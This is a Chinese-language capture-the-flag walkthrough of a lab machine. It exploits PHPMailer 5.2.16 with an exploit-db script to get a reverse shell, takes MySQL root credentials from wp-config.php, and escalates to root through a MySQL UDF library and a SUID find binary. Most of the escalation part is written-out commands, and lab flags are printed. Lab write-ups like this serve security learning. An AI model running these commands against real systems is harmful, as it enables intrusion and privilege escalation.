信息收集
利用arp-scan+nmap进行信息收集,确认目标机器的ip为192.168.78.144,开放端口有22、80、111
在/vendor/目录下的path文件中找到flag1
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
访问readme.md发现网站利用了PHPMailer,在version文件中确认版本为5.2.16
外网打点
在exploit-db中搜索历史漏洞的利用脚本,这里选择了40974.py这个脚本。
修改脚本内容
执行脚本。攻击机开启相关端口监听
访问http://192.168.78.144/shell.php
成功反弹shell
漏洞利用
可以利用以下命令获取回显
python -c 'import pty;pty.spawn("/bin/bash")
查找flag文件
find / -name flag*
找到两个相关文件
flag2{6a8ed560f0b5358ecf844108048eb337}
flag3{a0f568aa9de277887f37730d71520d9b}
权限提升
利用LinEnum进行扫描,查询是否有可以利用的提权点,发现mysql是以root用户权限进行的。
在WordPress根目录下的wp-config.php文件中找到mysql的用户名和密码。
root
R@v3nSecurity
尝试进行UDF提权
查看可写权限
show global variables like 'secure%';
查看plugin目录路径为 /usr/lib/mysql/plugin/
show variables like '%plugin%';
查询是否可以远程登录,发现root用户不能远程登录。
use mysql;
select user,host from user;
利用searchsploit搜索UDF的相关文件,这里选择适用于mysql4.x/5.x版本的1518.c
gcc编译
#gcc编译
gcc -g -c 1518.c #编译后生成一个.o文件
#gcc编译.o文件
gcc -g -shared -o yc.so 1518.o -lc -g #生成yc.so
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
将yc.so上传至目标机器
这里将yc.so保存在了/var/www/html/hanh目录下
进入数据库,插入数据
创建一个表为hanh,创建一个名为line,数据类型为blob的列
create table hanh(line blob);
#插入数据文件至数据库
insert into hanh values(load_file('/var/www/html/hanh/yc.so'));
#将刚岗插入表中的数据导出文件
select * from hanh into dumpfile '/usr/lib/mysql/plugin/yc.so';
#利用so文件创建函数
create function do_system returns integer soname 'yc.so';
#查看函数是否创建成功
select * from mysql.func;
#调用do_system函数来给find命令所有者的suid权限,使其可以执行
select do_system('chmod u+s /usr/bin/find');
退出mysql,查看下现在的SUID权限。发现find命令已经有SUID的权限了
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
使用/user/bin/find的SUID提权
touch getflag
find getflag -exec '/bin/sh' \;
在/root/flag4.txt中找到了falg4
flag4{df2bc5e951d91581467bb9a2a8ff4425}
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)